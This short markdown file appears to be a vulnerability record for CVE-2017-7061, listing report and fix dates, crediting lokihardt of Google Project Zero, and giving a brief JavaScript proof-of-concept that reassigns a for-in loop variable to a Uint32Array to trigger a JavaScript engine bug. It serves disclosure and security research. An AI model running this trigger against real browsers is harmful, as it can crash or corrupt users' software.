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CVE-2017-7061.md

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CVE-2017-7061

  • Report: May 2017
  • Fix: Jul 2017
  • Credit: lokihardt, Google Project Zero

PoC

let o = {};
for (let i in {xx: 0}) {
    for (let j = 0; j < 2; j++) {
        o[i];
        i = new Uint32Array([0, 1, 0x777777, 0, 0]);
    }
}

Reference